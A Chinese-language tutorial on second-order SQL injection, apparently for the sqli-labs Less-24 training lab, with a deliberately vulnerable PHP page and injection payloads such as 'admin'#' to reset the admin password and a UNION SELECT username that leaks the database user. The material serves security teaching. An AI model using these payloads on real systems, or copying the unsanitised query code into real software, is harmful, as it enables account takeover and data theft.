二次注入的原理
二次注入原理,主要分为两步
第一步:插入恶意数据
第二步:引用恶意数据
第一步:输入参数1’,函数经过转义函数变成’,参数进入数据库存储还原为1’
第二步:将1’从数据库中取出 取出后直接给变量带入SQL ,SQL注入触发
二次注入的方法
对sqlilabs的Less-24做部分修改,使的实验效果更明显
第一步 修改users表中username字段的长度
ALTER TABLE `users` CHANGE `username` `username` VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL;
第二步
添加userlist.php文件,显示所有用户的账号信息
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql="SELECT * FROM users ORDER BY id";
$result=mysql_query($sql);
$num=mysql_num_rows($result);
for ($i=0; $i < $num; ++$i) {
$row = mysql_fetch_array($result);
$username = $row[1];
$sql_detail = "SELECT * FROM users where username='$username'";
$result_detail=mysql_query($sql_detail);
$num_detail = mysql_num_rows($result_detail);
for ($j=0; $j < $num_detail; ++$j) {
$row_detail = mysql_fetch_array($result_detail);
echo<<<END <table border="1" style="table-layout:fixed;" width="1000"> <tr> <th>$row_detail[1]</th> <th>$row_detail[2]</th> </tr> </table> END;
}
}
?>
注册一个新用户,用户名为admin’#,密码为123
登录上了之后,重新设置,设置用户名为123,密码为123
admin的密码改变了
因为在pass_change.php中,
$username= $_SESSION["username"];
$sql = "UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' ";
所以就达到了修改admin密码为自己想要的密码的目的
在使用时没有进行校验,以上是sqlilabs原始关卡的代码
注册一个用户,用户名:1’ union select 1,user(),3#
注册成功后,查看userlist.php
userlist.php中显示了root@localhost 3
$sql_detail = "SELECT * FROM users where username='1' union select 1,user(),3#'";
1, root@localhost,3
所以显示的时候就显示的是root@localhost 3